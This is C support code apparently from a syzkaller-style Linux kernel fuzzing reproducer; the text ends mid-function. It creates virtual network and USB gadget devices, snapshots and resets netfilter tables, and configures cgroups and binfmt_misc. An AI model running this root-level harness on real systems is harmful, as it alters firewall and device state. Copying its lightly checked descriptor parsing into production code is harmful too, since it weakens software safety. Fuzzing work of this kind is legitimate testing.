#define LOCAL_MAC 0xaaaaaaaaaaaa
#define REMOTE_MAC 0xaaaaaaaaaabb
#define LOCAL_IPV4 "172.20.20.170"
#define REMOTE_IPV4 "172.20.20.187"
#define LOCAL_IPV6 "fe80::aa"
#define REMOTE_IPV6 "fe80::bb"
#define IFF_NAPI 0x0010
#define IFF_NAPI_FRAGS 0x0020
static void initialize_tun(void)
{
tunfd = open("/dev/net/tun", O_RDWR | O_NONBLOCK);
if (tunfd == -1) {
printf("tun: can't open /dev/net/tun: please enable CONFIG_TUN=y\n");
printf("otherwise fuzzing or reproducing might not work as intended\n");
return;
}
const int kTunFd = 240;
if (dup2(tunfd, kTunFd) < 0)
exit(1);
close(tunfd);
tunfd = kTunFd;
struct ifreq ifr;
memset(&ifr, 0, sizeof(ifr));
strncpy(ifr.ifr_name, TUN_IFACE, IFNAMSIZ);
ifr.ifr_flags = IFF_TAP | IFF_NO_PI | IFF_NAPI | IFF_NAPI_FRAGS;
if (ioctl(tunfd, TUNSETIFF, (void*)&ifr) < 0) {
ifr.ifr_flags = IFF_TAP | IFF_NO_PI;
if (ioctl(tunfd, TUNSETIFF, (void*)&ifr) < 0)
exit(1);
}
if (ioctl(tunfd, TUNGETIFF, (void*)&ifr) < 0)
exit(1);
tun_frags_enabled = (ifr.ifr_flags & IFF_NAPI_FRAGS) != 0;
char sysctl[64];
sprintf(sysctl, "/proc/sys/net/ipv6/conf/%s/accept_dad", TUN_IFACE);
write_file(sysctl, "0");
sprintf(sysctl, "/proc/sys/net/ipv6/conf/%s/router_solicitations", TUN_IFACE);
write_file(sysctl, "0");
int sock = socket(AF_NETLINK, SOCK_RAW, NETLINK_ROUTE);
if (sock == -1)
exit(1);
netlink_add_addr4(sock, TUN_IFACE, LOCAL_IPV4);
netlink_add_addr6(sock, TUN_IFACE, LOCAL_IPV6);
uint64_t macaddr = REMOTE_MAC;
struct in_addr in_addr;
inet_pton(AF_INET, REMOTE_IPV4, &in_addr);
netlink_add_neigh(sock, TUN_IFACE, &in_addr, sizeof(in_addr), &macaddr,
ETH_ALEN);
struct in6_addr in6_addr;
inet_pton(AF_INET6, REMOTE_IPV6, &in6_addr);
netlink_add_neigh(sock, TUN_IFACE, &in6_addr, sizeof(in6_addr), &macaddr,
ETH_ALEN);
macaddr = LOCAL_MAC;
netlink_device_change(sock, TUN_IFACE, true, 0, &macaddr, ETH_ALEN);
close(sock);
}
#define DEV_IPV4 "172.20.20.%d"
#define DEV_IPV6 "fe80::%02x"
#define DEV_MAC 0x00aaaaaaaaaa
static void initialize_netdevices(void)
{
char netdevsim[16];
sprintf(netdevsim, "netdevsim%d", (int)procid);
struct {
const char* type;
const char* dev;
} devtypes[] = {
{"ip6gretap", "ip6gretap0"}, {"bridge", "bridge0"},
{"vcan", "vcan0"}, {"bond", "bond0"},
{"team", "team0"}, {"dummy", "dummy0"},
{"nlmon", "nlmon0"}, {"caif", "caif0"},
{"batadv", "batadv0"}, {"vxcan", "vxcan1"},
{"netdevsim", netdevsim}, {"veth", 0},
};
const char* devmasters[] = {"bridge", "bond", "team"};
struct {
const char* name;
int macsize;
bool noipv6;
} devices[] = {
{"lo", ETH_ALEN},
{"sit0", 0},
{"bridge0", ETH_ALEN},
{"vcan0", 0, true},
{"tunl0", 0},
{"gre0", 0},
{"gretap0", ETH_ALEN},
{"ip_vti0", 0},
{"ip6_vti0", 0},
{"ip6tnl0", 0},
{"ip6gre0", 0},
{"ip6gretap0", ETH_ALEN},
{"erspan0", ETH_ALEN},
{"bond0", ETH_ALEN},
{"veth0", ETH_ALEN},
{"veth1", ETH_ALEN},
{"team0", ETH_ALEN},
{"veth0_to_bridge", ETH_ALEN},
{"veth1_to_bridge", ETH_ALEN},
{"veth0_to_bond", ETH_ALEN},
{"veth1_to_bond", ETH_ALEN},
{"veth0_to_team", ETH_ALEN},
{"veth1_to_team", ETH_ALEN},
{"veth0_to_hsr", ETH_ALEN},
{"veth1_to_hsr", ETH_ALEN},
{"hsr0", 0},
{"dummy0", ETH_ALEN},
{"nlmon0", 0},
{"vxcan1", 0, true},
{"caif0", ETH_ALEN},
{"batadv0", ETH_ALEN},
{netdevsim, ETH_ALEN},
};
int sock = socket(AF_NETLINK, SOCK_RAW, NETLINK_ROUTE);
if (sock == -1)
exit(1);
unsigned i;
for (i = 0; i < sizeof(devtypes) / sizeof(devtypes[0]); i++)
netlink_add_device(sock, devtypes[i].type, devtypes[i].dev);
for (i = 0; i < sizeof(devmasters) / (sizeof(devmasters[0])); i++) {
char master[32], slave0[32], veth0[32], slave1[32], veth1[32];
sprintf(slave0, "%s_slave_0", devmasters[i]);
sprintf(veth0, "veth0_to_%s", devmasters[i]);
netlink_add_veth(sock, slave0, veth0);
sprintf(slave1, "%s_slave_1", devmasters[i]);
sprintf(veth1, "veth1_to_%s", devmasters[i]);
netlink_add_veth(sock, slave1, veth1);
sprintf(master, "%s0", devmasters[i]);
netlink_device_change(sock, slave0, false, master, 0, 0);
netlink_device_change(sock, slave1, false, master, 0, 0);
}
netlink_device_change(sock, "bridge_slave_0", true, 0, 0, 0);
netlink_device_change(sock, "bridge_slave_1", true, 0, 0, 0);
netlink_add_veth(sock, "hsr_slave_0", "veth0_to_hsr");
netlink_add_veth(sock, "hsr_slave_1", "veth1_to_hsr");
netlink_add_hsr(sock, "hsr0", "hsr_slave_0", "hsr_slave_1");
netlink_device_change(sock, "hsr_slave_0", true, 0, 0, 0);
netlink_device_change(sock, "hsr_slave_1", true, 0, 0, 0);
for (i = 0; i < sizeof(devices) / (sizeof(devices[0])); i++) {
char addr[32];
sprintf(addr, DEV_IPV4, i + 10);
netlink_add_addr4(sock, devices[i].name, addr);
if (!devices[i].noipv6) {
sprintf(addr, DEV_IPV6, i + 10);
netlink_add_addr6(sock, devices[i].name, addr);
}
uint64_t macaddr = DEV_MAC + ((i + 10ull) << 40);
netlink_device_change(sock, devices[i].name, true, 0, &macaddr,
devices[i].macsize);
}
close(sock);
}
static void initialize_netdevices_init(void)
{
int sock = socket(AF_NETLINK, SOCK_RAW, NETLINK_ROUTE);
if (sock == -1)
exit(1);
struct {
const char* type;
int macsize;
bool noipv6;
bool noup;
} devtypes[] = {
{"nr", 7, true},
{"rose", 5, true, true},
};
unsigned i;
for (i = 0; i < sizeof(devtypes) / sizeof(devtypes[0]); i++) {
char dev[32], addr[32];
sprintf(dev, "%s%d", devtypes[i].type, (int)procid);
sprintf(addr, "172.30.%d.%d", i, (int)procid + 1);
netlink_add_addr4(sock, dev, addr);
if (!devtypes[i].noipv6) {
sprintf(addr, "fe88::%02x:%02x", i, (int)procid + 1);
netlink_add_addr6(sock, dev, addr);
}
int macsize = devtypes[i].macsize;
uint64_t macaddr = 0xbbbbbb +
((unsigned long long)i << (8 * (macsize - 2))) +
(procid << (8 * (macsize - 1)));
netlink_device_change(sock, dev, !devtypes[i].noup, 0, &macaddr, macsize);
}
close(sock);
}
static int read_tun(char* data, int size)
{
if (tunfd < 0)
return -1;
int rv = read(tunfd, data, size);
if (rv < 0) {
if (errno == EAGAIN)
return -1;
if (errno == EBADFD)
return -1;
exit(1);
}
return rv;
}
static void flush_tun()
{
char data[SYZ_TUN_MAX_PACKET_SIZE];
while (read_tun(&data[0], sizeof(data)) != -1) {
}
}
#define USB_MAX_EP_NUM 32
struct usb_device_index {
struct usb_device_descriptor* dev;
struct usb_config_descriptor* config;
unsigned config_length;
struct usb_interface_descriptor* iface;
struct usb_endpoint_descriptor* eps[USB_MAX_EP_NUM];
unsigned eps_num;
};
static bool parse_usb_descriptor(char* buffer, size_t length,
struct usb_device_index* index)
{
if (length <
sizeof(*index->dev) + sizeof(*index->config) + sizeof(*index->iface))
return false;
index->dev = (struct usb_device_descriptor*)buffer;
index->config = (struct usb_config_descriptor*)(buffer + sizeof(*index->dev));
index->config_length = length - sizeof(*index->dev);
index->iface =
(struct usb_interface_descriptor*)(buffer + sizeof(*index->dev) +
sizeof(*index->config));
index->eps_num = 0;
size_t offset = 0;
while (true) {
if (offset == length)
break;
if (offset + 1 < length)
break;
uint8_t length = buffer[offset];
uint8_t type = buffer[offset + 1];
if (type == USB_DT_ENDPOINT) {
index->eps[index->eps_num] =
(struct usb_endpoint_descriptor*)(buffer + offset);
index->eps_num++;
}
if (index->eps_num == USB_MAX_EP_NUM)
break;
offset += length;
}
return true;
}
enum usb_fuzzer_event_type {
USB_FUZZER_EVENT_INVALID,
USB_FUZZER_EVENT_CONNECT,
USB_FUZZER_EVENT_DISCONNECT,
USB_FUZZER_EVENT_SUSPEND,
USB_FUZZER_EVENT_RESUME,
USB_FUZZER_EVENT_CONTROL,
};
struct usb_fuzzer_event {
uint32_t type;
uint32_t length;
char data[0];
};
struct usb_fuzzer_init {
uint64_t speed;
const char* driver_name;
const char* device_name;
};
struct usb_fuzzer_ep_io {
uint16_t ep;
uint16_t flags;
uint32_t length;
char data[0];
};
#define USB_FUZZER_IOCTL_INIT _IOW('U', 0, struct usb_fuzzer_init)
#define USB_FUZZER_IOCTL_RUN _IO('U', 1)
#define USB_FUZZER_IOCTL_EP0_READ _IOWR('U', 2, struct usb_fuzzer_event)
#define USB_FUZZER_IOCTL_EP0_WRITE _IOW('U', 3, struct usb_fuzzer_ep_io)
#define USB_FUZZER_IOCTL_EP_ENABLE _IOW('U', 4, struct usb_endpoint_descriptor)
#define USB_FUZZER_IOCTL_EP_WRITE _IOW('U', 6, struct usb_fuzzer_ep_io)
#define USB_FUZZER_IOCTL_CONFIGURE _IO('U', 8)
#define USB_FUZZER_IOCTL_VBUS_DRAW _IOW('U', 9, uint32_t)
int usb_fuzzer_open()
{
return open("/sys/kernel/debug/usb-fuzzer", O_RDWR);
}
int usb_fuzzer_init(int fd, uint32_t speed, const char* driver,
const char* device)
{
struct usb_fuzzer_init arg;
arg.speed = speed;
arg.driver_name = driver;
arg.device_name = device;
return ioctl(fd, USB_FUZZER_IOCTL_INIT, &arg);
}
int usb_fuzzer_run(int fd)
{
return ioctl(fd, USB_FUZZER_IOCTL_RUN, 0);
}
int usb_fuzzer_ep0_read(int fd, struct usb_fuzzer_event* event)
{
return ioctl(fd, USB_FUZZER_IOCTL_EP0_READ, event);
}
int usb_fuzzer_ep0_write(int fd, struct usb_fuzzer_ep_io* io)
{
return ioctl(fd, USB_FUZZER_IOCTL_EP0_WRITE, io);
}
int usb_fuzzer_ep_write(int fd, struct usb_fuzzer_ep_io* io)
{
return ioctl(fd, USB_FUZZER_IOCTL_EP_WRITE, io);
}
int usb_fuzzer_ep_enable(int fd, struct usb_endpoint_descriptor* desc)
{
return ioctl(fd, USB_FUZZER_IOCTL_EP_ENABLE, desc);
}
int usb_fuzzer_configure(int fd)
{
return ioctl(fd, USB_FUZZER_IOCTL_CONFIGURE, 0);
}
int usb_fuzzer_vbus_draw(int fd, uint32_t power)
{
return ioctl(fd, USB_FUZZER_IOCTL_VBUS_DRAW, power);
}
#define USB_MAX_PACKET_SIZE 1024
struct usb_fuzzer_control_event {
struct usb_fuzzer_event inner;
struct usb_ctrlrequest ctrl;
};
struct usb_fuzzer_ep_io_data {
struct usb_fuzzer_ep_io inner;
char data[USB_MAX_PACKET_SIZE];
};
struct vusb_connect_string_descriptor {
uint32_t len;
char* str;
} __attribute__((packed));
struct vusb_connect_descriptors {
uint32_t qual_len;
char* qual;
uint32_t bos_len;
char* bos;
uint32_t strs_len;
struct vusb_connect_string_descriptor strs[0];
} __attribute__((packed));
static bool lookup_connect_response(struct vusb_connect_descriptors* descs,
struct usb_device_index* index,
struct usb_ctrlrequest* ctrl,
char** response_data,
uint32_t* response_length, bool* done)
{
uint8_t str_idx;
switch (ctrl->bRequestType & USB_TYPE_MASK) {
case USB_TYPE_STANDARD:
switch (ctrl->bRequest) {
case USB_REQ_GET_DESCRIPTOR:
switch (ctrl->wValue >> 8) {
case USB_DT_DEVICE:
*response_data = (char*)index->dev;
*response_length = sizeof(*index->dev);
return true;
case USB_DT_CONFIG:
*response_data = (char*)index->config;
*response_length = index->config_length;
return true;
case USB_DT_STRING:
str_idx = (uint8_t)ctrl->wValue;
if (str_idx >= descs->strs_len)
return false;
*response_data = descs->strs[str_idx].str;
*response_length = descs->strs[str_idx].len;
return true;
case USB_DT_BOS:
*response_data = descs->bos;
*response_length = descs->bos_len;
return true;
case USB_DT_DEVICE_QUALIFIER:
*response_data = descs->qual;
*response_length = descs->qual_len;
return true;
default:
exit(1);
return false;
}
break;
case USB_REQ_SET_CONFIGURATION:
*response_length = 0;
*response_data = NULL;
*done = true;
return true;
default:
exit(1);
return false;
}
break;
default:
exit(1);
return false;
}
return false;
}
static volatile long syz_usb_connect(volatile long a0, volatile long a1,
volatile long a2, volatile long a3)
{
int64_t speed = a0;
int64_t dev_len = a1;
char* dev = (char*)a2;
struct vusb_connect_descriptors* descs = (struct vusb_connect_descriptors*)a3;
if (!dev)
return -1;
struct usb_device_index index;
memset(&index, 0, sizeof(index));
int rv = false;
NONFAILING(rv = parse_usb_descriptor(dev, dev_len, &index));
if (!rv)
return -1;
int fd = usb_fuzzer_open();
if (fd < 0)
return -1;
char device[32];
sprintf(&device[0], "dummy_udc.%llu", procid);
rv = usb_fuzzer_init(fd, speed, "dummy_udc", &device[0]);
if (rv < 0)
return -1;
rv = usb_fuzzer_run(fd);
if (rv < 0)
return -1;
bool done = false;
while (!done) {
struct usb_fuzzer_control_event event;
event.inner.type = 0;
event.inner.length = sizeof(event.ctrl);
rv = usb_fuzzer_ep0_read(fd, (struct usb_fuzzer_event*)&event);
if (rv < 0)
return -1;
if (event.inner.type != USB_FUZZER_EVENT_CONTROL)
continue;
bool response_found = false;
char* response_data = NULL;
uint32_t response_length = 0;
NONFAILING(response_found = lookup_connect_response(
descs, &index, &event.ctrl, &response_data, &response_length,
&done));
if (!response_found)
return -1;
if (done) {
int rv = usb_fuzzer_vbus_draw(fd, index.config->bMaxPower);
if (rv < 0)
return -1;
rv = usb_fuzzer_configure(fd);
if (rv < 0)
return -1;
unsigned ep;
for (ep = 0; ep < index.eps_num; ep++) {
rv = usb_fuzzer_ep_enable(fd, index.eps[ep]);
if (rv < 0)
exit(1);
}
}
struct usb_fuzzer_ep_io_data response;
response.inner.ep = 0;
response.inner.flags = 0;
if (response_length > sizeof(response.data))
response_length = 0;
response.inner.length = response_length;
if (response_data)
memcpy(&response.data[0], response_data, response_length);
if (event.ctrl.wLength < response.inner.length)
response.inner.length = event.ctrl.wLength;
usb_fuzzer_ep0_write(fd, (struct usb_fuzzer_ep_io*)&response);
}
sleep_ms(200);
return fd;
}
#define XT_TABLE_SIZE 1536
#define XT_MAX_ENTRIES 10
struct xt_counters {
uint64_t pcnt, bcnt;
};
struct ipt_getinfo {
char name[32];
unsigned int valid_hooks;
unsigned int hook_entry[5];
unsigned int underflow[5];
unsigned int num_entries;
unsigned int size;
};
struct ipt_get_entries {
char name[32];
unsigned int size;
void* entrytable[XT_TABLE_SIZE / sizeof(void*)];
};
struct ipt_replace {
char name[32];
unsigned int valid_hooks;
unsigned int num_entries;
unsigned int size;
unsigned int hook_entry[5];
unsigned int underflow[5];
unsigned int num_counters;
struct xt_counters* counters;
char entrytable[XT_TABLE_SIZE];
};
struct ipt_table_desc {
const char* name;
struct ipt_getinfo info;
struct ipt_replace replace;
};
static struct ipt_table_desc ipv4_tables[] = {
{.name = "filter"}, {.name = "nat"}, {.name = "mangle"},
{.name = "raw"}, {.name = "security"},
};
static struct ipt_table_desc ipv6_tables[] = {
{.name = "filter"}, {.name = "nat"}, {.name = "mangle"},
{.name = "raw"}, {.name = "security"},
};
#define IPT_BASE_CTL 64
#define IPT_SO_SET_REPLACE (IPT_BASE_CTL)
#define IPT_SO_GET_INFO (IPT_BASE_CTL)
#define IPT_SO_GET_ENTRIES (IPT_BASE_CTL + 1)
struct arpt_getinfo {
char name[32];
unsigned int valid_hooks;
unsigned int hook_entry[3];
unsigned int underflow[3];
unsigned int num_entries;
unsigned int size;
};
struct arpt_get_entries {
char name[32];
unsigned int size;
void* entrytable[XT_TABLE_SIZE / sizeof(void*)];
};
struct arpt_replace {
char name[32];
unsigned int valid_hooks;
unsigned int num_entries;
unsigned int size;
unsigned int hook_entry[3];
unsigned int underflow[3];
unsigned int num_counters;
struct xt_counters* counters;
char entrytable[XT_TABLE_SIZE];
};
struct arpt_table_desc {
const char* name;
struct arpt_getinfo info;
struct arpt_replace replace;
};
static struct arpt_table_desc arpt_tables[] = {
{.name = "filter"},
};
#define ARPT_BASE_CTL 96
#define ARPT_SO_SET_REPLACE (ARPT_BASE_CTL)
#define ARPT_SO_GET_INFO (ARPT_BASE_CTL)
#define ARPT_SO_GET_ENTRIES (ARPT_BASE_CTL + 1)
static void checkpoint_iptables(struct ipt_table_desc* tables, int num_tables,
int family, int level)
{
struct ipt_get_entries entries;
socklen_t optlen;
int fd, i;
fd = socket(family, SOCK_STREAM, IPPROTO_TCP);
if (fd == -1) {
switch (errno) {
case EAFNOSUPPORT:
case ENOPROTOOPT:
return;
}
exit(1);
}
for (i = 0; i < num_tables; i++) {
struct ipt_table_desc* table = &tables[i];
strcpy(table->info.name, table->name);
strcpy(table->replace.name, table->name);
optlen = sizeof(table->info);
if (getsockopt(fd, level, IPT_SO_GET_INFO, &table->info, &optlen)) {
switch (errno) {
case EPERM:
case ENOENT:
case ENOPROTOOPT:
continue;
}
exit(1);
}
if (table->info.size > sizeof(table->replace.entrytable))
exit(1);
if (table->info.num_entries > XT_MAX_ENTRIES)
exit(1);
memset(&entries, 0, sizeof(entries));
strcpy(entries.name, table->name);
entries.size = table->info.size;
optlen = sizeof(entries) - sizeof(entries.entrytable) + table->info.size;
if (getsockopt(fd, level, IPT_SO_GET_ENTRIES, &entries, &optlen))
exit(1);
table->replace.valid_hooks = table->info.valid_hooks;
table->replace.num_entries = table->info.num_entries;
table->replace.size = table->info.size;
memcpy(table->replace.hook_entry, table->info.hook_entry,
sizeof(table->replace.hook_entry));
memcpy(table->replace.underflow, table->info.underflow,
sizeof(table->replace.underflow));
memcpy(table->replace.entrytable, entries.entrytable, table->info.size);
}
close(fd);
}
static void reset_iptables(struct ipt_table_desc* tables, int num_tables,
int family, int level)
{
struct xt_counters counters[XT_MAX_ENTRIES];
struct ipt_get_entries entries;
struct ipt_getinfo info;
socklen_t optlen;
int fd, i;
fd = socket(family, SOCK_STREAM, IPPROTO_TCP);
if (fd == -1) {
switch (errno) {
case EAFNOSUPPORT:
case ENOPROTOOPT:
return;
}
exit(1);
}
for (i = 0; i < num_tables; i++) {
struct ipt_table_desc* table = &tables[i];
if (table->info.valid_hooks == 0)
continue;
memset(&info, 0, sizeof(info));
strcpy(info.name, table->name);
optlen = sizeof(info);
if (getsockopt(fd, level, IPT_SO_GET_INFO, &info, &optlen))
exit(1);
if (memcmp(&table->info, &info, sizeof(table->info)) == 0) {
memset(&entries, 0, sizeof(entries));
strcpy(entries.name, table->name);
entries.size = table->info.size;
optlen = sizeof(entries) - sizeof(entries.entrytable) + entries.size;
if (getsockopt(fd, level, IPT_SO_GET_ENTRIES, &entries, &optlen))
exit(1);
if (memcmp(table->replace.entrytable, entries.entrytable,
table->info.size) == 0)
continue;
}
table->replace.num_counters = info.num_entries;
table->replace.counters = counters;
optlen = sizeof(table->replace) - sizeof(table->replace.entrytable) +
table->replace.size;
if (setsockopt(fd, level, IPT_SO_SET_REPLACE, &table->replace, optlen))
exit(1);
}
close(fd);
}
static void checkpoint_arptables(void)
{
struct arpt_get_entries entries;
socklen_t optlen;
unsigned i;
int fd;
fd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if (fd == -1) {
switch (errno) {
case EAFNOSUPPORT:
case ENOPROTOOPT:
return;
}
exit(1);
}
for (i = 0; i < sizeof(arpt_tables) / sizeof(arpt_tables[0]); i++) {
struct arpt_table_desc* table = &arpt_tables[i];
strcpy(table->info.name, table->name);
strcpy(table->replace.name, table->name);
optlen = sizeof(table->info);
if (getsockopt(fd, SOL_IP, ARPT_SO_GET_INFO, &table->info, &optlen)) {
switch (errno) {
case EPERM:
case ENOENT:
case ENOPROTOOPT:
continue;
}
exit(1);
}
if (table->info.size > sizeof(table->replace.entrytable))
exit(1);
if (table->info.num_entries > XT_MAX_ENTRIES)
exit(1);
memset(&entries, 0, sizeof(entries));
strcpy(entries.name, table->name);
entries.size = table->info.size;
optlen = sizeof(entries) - sizeof(entries.entrytable) + table->info.size;
if (getsockopt(fd, SOL_IP, ARPT_SO_GET_ENTRIES, &entries, &optlen))
exit(1);
table->replace.valid_hooks = table->info.valid_hooks;
table->replace.num_entries = table->info.num_entries;
table->replace.size = table->info.size;
memcpy(table->replace.hook_entry, table->info.hook_entry,
sizeof(table->replace.hook_entry));
memcpy(table->replace.underflow, table->info.underflow,
sizeof(table->replace.underflow));
memcpy(table->replace.entrytable, entries.entrytable, table->info.size);
}
close(fd);
}
static void reset_arptables()
{
struct xt_counters counters[XT_MAX_ENTRIES];
struct arpt_get_entries entries;
struct arpt_getinfo info;
socklen_t optlen;
unsigned i;
int fd;
fd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if (fd == -1) {
switch (errno) {
case EAFNOSUPPORT:
case ENOPROTOOPT:
return;
}
exit(1);
}
for (i = 0; i < sizeof(arpt_tables) / sizeof(arpt_tables[0]); i++) {
struct arpt_table_desc* table = &arpt_tables[i];
if (table->info.valid_hooks == 0)
continue;
memset(&info, 0, sizeof(info));
strcpy(info.name, table->name);
optlen = sizeof(info);
if (getsockopt(fd, SOL_IP, ARPT_SO_GET_INFO, &info, &optlen))
exit(1);
if (memcmp(&table->info, &info, sizeof(table->info)) == 0) {
memset(&entries, 0, sizeof(entries));
strcpy(entries.name, table->name);
entries.size = table->info.size;
optlen = sizeof(entries) - sizeof(entries.entrytable) + entries.size;
if (getsockopt(fd, SOL_IP, ARPT_SO_GET_ENTRIES, &entries, &optlen))
exit(1);
if (memcmp(table->replace.entrytable, entries.entrytable,
table->info.size) == 0)
continue;
} else {
}
table->replace.num_counters = info.num_entries;
table->replace.counters = counters;
optlen = sizeof(table->replace) - sizeof(table->replace.entrytable) +
table->replace.size;
if (setsockopt(fd, SOL_IP, ARPT_SO_SET_REPLACE, &table->replace, optlen))
exit(1);
}
close(fd);
}
#define NF_BR_NUMHOOKS 6
#define EBT_TABLE_MAXNAMELEN 32
#define EBT_CHAIN_MAXNAMELEN 32
#define EBT_BASE_CTL 128
#define EBT_SO_SET_ENTRIES (EBT_BASE_CTL)
#define EBT_SO_GET_INFO (EBT_BASE_CTL)
#define EBT_SO_GET_ENTRIES (EBT_SO_GET_INFO + 1)
#define EBT_SO_GET_INIT_INFO (EBT_SO_GET_ENTRIES + 1)
#define EBT_SO_GET_INIT_ENTRIES (EBT_SO_GET_INIT_INFO + 1)
struct ebt_replace {
char name[EBT_TABLE_MAXNAMELEN];
unsigned int valid_hooks;
unsigned int nentries;
unsigned int entries_size;
struct ebt_entries* hook_entry[NF_BR_NUMHOOKS];
unsigned int num_counters;
struct ebt_counter* counters;
char* entries;
};
struct ebt_entries {
unsigned int distinguisher;
char name[EBT_CHAIN_MAXNAMELEN];
unsigned int counter_offset;
int policy;
unsigned int nentries;
char data[0] __attribute__((aligned(__alignof__(struct ebt_replace))));
};
struct ebt_table_desc {
const char* name;
struct ebt_replace replace;
char entrytable[XT_TABLE_SIZE];
};
static struct ebt_table_desc ebt_tables[] = {
{.name = "filter"},
{.name = "nat"},
{.name = "broute"},
};
static void checkpoint_ebtables(void)
{
socklen_t optlen;
unsigned i;
int fd;
fd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if (fd == -1) {
switch (errno) {
case EAFNOSUPPORT:
case ENOPROTOOPT:
return;
}
exit(1);
}
for (i = 0; i < sizeof(ebt_tables) / sizeof(ebt_tables[0]); i++) {
struct ebt_table_desc* table = &ebt_tables[i];
strcpy(table->replace.name, table->name);
optlen = sizeof(table->replace);
if (getsockopt(fd, SOL_IP, EBT_SO_GET_INIT_INFO, &table->replace,
&optlen)) {
switch (errno) {
case EPERM:
case ENOENT:
case ENOPROTOOPT:
continue;
}
exit(1);
}
if (table->replace.entries_size > sizeof(table->entrytable))
exit(1);
table->replace.num_counters = 0;
table->replace.entries = table->entrytable;
optlen = sizeof(table->replace) + table->replace.entries_size;
if (getsockopt(fd, SOL_IP, EBT_SO_GET_INIT_ENTRIES, &table->replace,
&optlen))
exit(1);
}
close(fd);
}
static void reset_ebtables()
{
struct ebt_replace replace;
char entrytable[XT_TABLE_SIZE];
socklen_t optlen;
unsigned i, j, h;
int fd;
fd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if (fd == -1) {
switch (errno) {
case EAFNOSUPPORT:
case ENOPROTOOPT:
return;
}
exit(1);
}
for (i = 0; i < sizeof(ebt_tables) / sizeof(ebt_tables[0]); i++) {
struct ebt_table_desc* table = &ebt_tables[i];
if (table->replace.valid_hooks == 0)
continue;
memset(&replace, 0, sizeof(replace));
strcpy(replace.name, table->name);
optlen = sizeof(replace);
if (getsockopt(fd, SOL_IP, EBT_SO_GET_INFO, &replace, &optlen))
exit(1);
replace.num_counters = 0;
table->replace.entries = 0;
for (h = 0; h < NF_BR_NUMHOOKS; h++)
table->replace.hook_entry[h] = 0;
if (memcmp(&table->replace, &replace, sizeof(table->replace)) == 0) {
memset(&entrytable, 0, sizeof(entrytable));
replace.entries = entrytable;
optlen = sizeof(replace) + replace.entries_size;
if (getsockopt(fd, SOL_IP, EBT_SO_GET_ENTRIES, &replace, &optlen))
exit(1);
if (memcmp(table->entrytable, entrytable, replace.entries_size) == 0)
continue;
}
for (j = 0, h = 0; h < NF_BR_NUMHOOKS; h++) {
if (table->replace.valid_hooks & (1 << h)) {
table->replace.hook_entry[h] =
(struct ebt_entries*)table->entrytable + j;
j++;
}
}
table->replace.entries = table->entrytable;
optlen = sizeof(table->replace) + table->replace.entries_size;
if (setsockopt(fd, SOL_IP, EBT_SO_SET_ENTRIES, &table->replace, optlen))
exit(1);
}
close(fd);
}
static void checkpoint_net_namespace(void)
{
checkpoint_ebtables();
checkpoint_arptables();
checkpoint_iptables(ipv4_tables, sizeof(ipv4_tables) / sizeof(ipv4_tables[0]),
AF_INET, SOL_IP);
checkpoint_iptables(ipv6_tables, sizeof(ipv6_tables) / sizeof(ipv6_tables[0]),
AF_INET6, SOL_IPV6);
}
static void reset_net_namespace(void)
{
reset_ebtables();
reset_arptables();
reset_iptables(ipv4_tables, sizeof(ipv4_tables) / sizeof(ipv4_tables[0]),
AF_INET, SOL_IP);
reset_iptables(ipv6_tables, sizeof(ipv6_tables) / sizeof(ipv6_tables[0]),
AF_INET6, SOL_IPV6);
}
static void setup_cgroups()
{
if (mkdir("/syzcgroup", 0777)) {
}
if (mkdir("/syzcgroup/unified", 0777)) {
}
if (mount("none", "/syzcgroup/unified", "cgroup2", 0, NULL)) {
}
if (chmod("/syzcgroup/unified", 0777)) {
}
write_file("/syzcgroup/unified/cgroup.subtree_control",
"+cpu +memory +io +pids +rdma");
if (mkdir("/syzcgroup/cpu", 0777)) {
}
if (mount("none", "/syzcgroup/cpu", "cgroup", 0,
"cpuset,cpuacct,perf_event,hugetlb")) {
}
write_file("/syzcgroup/cpu/cgroup.clone_children", "1");
if (chmod("/syzcgroup/cpu", 0777)) {
}
if (mkdir("/syzcgroup/net", 0777)) {
}
if (mount("none", "/syzcgroup/net", "cgroup", 0,
"net_cls,net_prio,devices,freezer")) {
}
if (chmod("/syzcgroup/net", 0777)) {
}
}
static void setup_cgroups_loop()
{
int pid = getpid();
char file[128];
char cgroupdir[64];
snprintf(cgroupdir, sizeof(cgroupdir), "/syzcgroup/unified/syz%llu", procid);
if (mkdir(cgroupdir, 0777)) {
}
snprintf(file, sizeof(file), "%s/pids.max", cgroupdir);
write_file(file, "32");
snprintf(file, sizeof(file), "%s/memory.low", cgroupdir);
write_file(file, "%d", 298 << 20);
snprintf(file, sizeof(file), "%s/memory.high", cgroupdir);
write_file(file, "%d", 299 << 20);
snprintf(file, sizeof(file), "%s/memory.max", cgroupdir);
write_file(file, "%d", 300 << 20);
snprintf(file, sizeof(file), "%s/cgroup.procs", cgroupdir);
write_file(file, "%d", pid);
snprintf(cgroupdir, sizeof(cgroupdir), "/syzcgroup/cpu/syz%llu", procid);
if (mkdir(cgroupdir, 0777)) {
}
snprintf(file, sizeof(file), "%s/cgroup.procs", cgroupdir);
write_file(file, "%d", pid);
snprintf(cgroupdir, sizeof(cgroupdir), "/syzcgroup/net/syz%llu", procid);
if (mkdir(cgroupdir, 0777)) {
}
snprintf(file, sizeof(file), "%s/cgroup.procs", cgroupdir);
write_file(file, "%d", pid);
}
static void setup_cgroups_test()
{
char cgroupdir[64];
snprintf(cgroupdir, sizeof(cgroupdir), "/syzcgroup/unified/syz%llu", procid);
if (symlink(cgroupdir, "./cgroup")) {
}
snprintf(cgroupdir, sizeof(cgroupdir), "/syzcgroup/cpu/syz%llu", procid);
if (symlink(cgroupdir, "./cgroup.cpu")) {
}
snprintf(cgroupdir, sizeof(cgroupdir), "/syzcgroup/net/syz%llu", procid);
if (symlink(cgroupdir, "./cgroup.net")) {
}
}
static void setup_binfmt_misc()
{
if (mount(0, "/proc/sys/fs/binfmt_misc", "binfmt_misc", 0, 0)) {
}
write_file("/proc/sys/fs/binfmt_misc/register", ":syz0:M:0:\x01::./file0:");
write_file("/proc/sys/fs/binfmt_misc/register",
":syz1:M:1:\x02::./file0:POC");
}
static void setup_common()
{
if (mount(0, "/sys/fs/fuse/connections", "fusectl", 0, 0)) {
}
setup_cgroups();
setup_binfmt_misc();
}
static void loop();
static void sandbox_common()
{
prctl(PR_SET_PDEATHSIG, SIGKILL, 0, 0, 0);
setpgrp();
setsid();
struct rlimit rlim;
